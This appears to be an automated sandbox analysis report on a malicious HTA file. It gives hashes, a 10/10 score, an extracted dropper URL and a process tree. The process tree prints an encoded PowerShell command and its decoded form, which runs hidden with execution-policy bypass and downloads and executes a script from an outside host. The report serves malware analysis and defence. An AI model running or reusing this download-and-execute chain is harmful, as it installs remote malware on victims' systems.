Resubmissions

07-01-2025 03:19

250107-dt8tqs1rc1 10

07-01-2025 03:10

250107-dpd4ka1pdv 10

07-01-2025 03:09

250107-dnmz3stlcp 10

07-01-2025 02:39

250107-c5hk9asmbl 10

Analysis

  • max time kernel
    60s
  • max time network
    62s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07-01-2025 03:10

General

  • Target

    aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta

  • Size

    1.6MB

  • MD5

    dbf37b54acb5e3b86a3dc93ec3b7dc24

  • SHA1

    65100e3e23406a9f92880e202e4b006fd39f33d6

  • SHA256

    aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9

  • SHA512

    0f785989935702715872e6621ecf9ad003f5d3d9eb8396a32fa5c0506f636a979e5c98c292885207124029c05c6dd88df33d2b91b028cdb5055ce9000dac7ae9

  • SSDEEP

    24576:g/ISwmcPODvnBj3SoGDw/ISwmcPODvnBjc/ISwmcPODvnBj1/ISwmcPODvnBjf:g/IMcAYoGc/IMcAu/IMcAn/IMcAN

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://klipdiheqoe.shop/ruwkl.png

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3328
      • C:\Windows\SysWOW64\mshta.exe
        C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1388
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3580
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3108
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
        2⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        PID:2036

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      e080d58e6387c9fd87434a502e1a902e

      SHA1

      ae76ce6a2a39d79226c343cfe4745d48c7c1a91a

      SHA256

      6fc482e46f6843f31d770708aa936de4cc32fec8141154f325438994380ff425

      SHA512

      6c112200ef09e724f2b8ab7689a629a09d74db2dcb4dd83157dd048cbe74a7ce5d139188257efc79a137ffebde0e3b61e0e147df789508675fedfd11fcad9ede

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      15KB

      MD5

      343aefc6551a7223afbefdd14bc7969f

      SHA1

      427aa82ae300c98c5b29da94a30a3ddc477af7e5

      SHA256

      58ccf1930e31d207228fbd7906f1bd413eb27720164a898da13b77c3bae0b5c3

      SHA512

      1dc63bca8f68d0465affb9e60f4b5268ae00d7b387dda2ddfdf848dec872e7dac1c8ff73bb5881e903ecb8a3d48e14c53a250c428e64c669c66ba27197968b51

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ucbejbq.ikw.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3108-63-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-59-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-1363-0x0000000021DE0000-0x0000000021E34000-memory.dmp

      Filesize

      336KB

    • memory/3108-1362-0x0000000007480000-0x00000000074CC000-memory.dmp

      Filesize

      304KB

    • memory/3108-1361-0x0000000021D20000-0x0000000021DA0000-memory.dmp

      Filesize

      512KB

    • memory/3108-1360-0x0000000021CA0000-0x0000000021D24000-memory.dmp

      Filesize

      528KB

    • memory/3108-93-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-42-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-43-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-65-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-45-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-47-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-49-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-51-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-53-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-32-0x0000000005730000-0x0000000005A87000-memory.dmp

      Filesize

      3.3MB

    • memory/3108-61-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-37-0x00000000074F0000-0x0000000007B6A000-memory.dmp

      Filesize

      6.5MB

    • memory/3108-39-0x0000000074970000-0x0000000075121000-memory.dmp

      Filesize

      7.7MB

    • memory/3108-91-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-41-0x0000000021B70000-0x0000000021C9A000-memory.dmp

      Filesize

      1.2MB

    • memory/3108-57-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-55-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-89-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-99-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-103-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-101-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-97-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-95-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-67-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-40-0x0000000007090000-0x00000000071C4000-memory.dmp

      Filesize

      1.2MB

    • memory/3108-87-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-85-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-83-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-81-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-79-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-77-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-75-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-73-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-71-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3108-69-0x0000000021B70000-0x0000000021C93000-memory.dmp

      Filesize

      1.1MB

    • memory/3580-4-0x0000000074970000-0x0000000075121000-memory.dmp

      Filesize

      7.7MB

    • memory/3580-19-0x0000000006C70000-0x0000000006D06000-memory.dmp

      Filesize

      600KB

    • memory/3580-1-0x0000000002630000-0x0000000002666000-memory.dmp

      Filesize

      216KB

    • memory/3580-20-0x0000000005FF0000-0x000000000600A000-memory.dmp

      Filesize

      104KB

    • memory/3580-16-0x0000000005600000-0x0000000005957000-memory.dmp

      Filesize

      3.3MB

    • memory/3580-26-0x0000000074970000-0x0000000075121000-memory.dmp

      Filesize

      7.7MB

    • memory/3580-21-0x0000000006040000-0x0000000006062000-memory.dmp

      Filesize

      136KB

    • memory/3580-0-0x000000007497E000-0x000000007497F000-memory.dmp

      Filesize

      4KB

    • memory/3580-2-0x0000000004D20000-0x000000000534A000-memory.dmp

      Filesize

      6.2MB

    • memory/3580-22-0x00000000072C0000-0x0000000007866000-memory.dmp

      Filesize

      5.6MB

    • memory/3580-18-0x0000000005AE0000-0x0000000005B2C000-memory.dmp

      Filesize

      304KB

    • memory/3580-17-0x0000000005AB0000-0x0000000005ACE000-memory.dmp

      Filesize

      120KB

    • memory/3580-3-0x0000000074970000-0x0000000075121000-memory.dmp

      Filesize

      7.7MB

    • memory/3580-6-0x0000000005520000-0x0000000005586000-memory.dmp

      Filesize

      408KB

    • memory/3580-7-0x0000000005590000-0x00000000055F6000-memory.dmp

      Filesize

      408KB

    • memory/3580-5-0x0000000005380000-0x00000000053A2000-memory.dmp

      Filesize

      136KB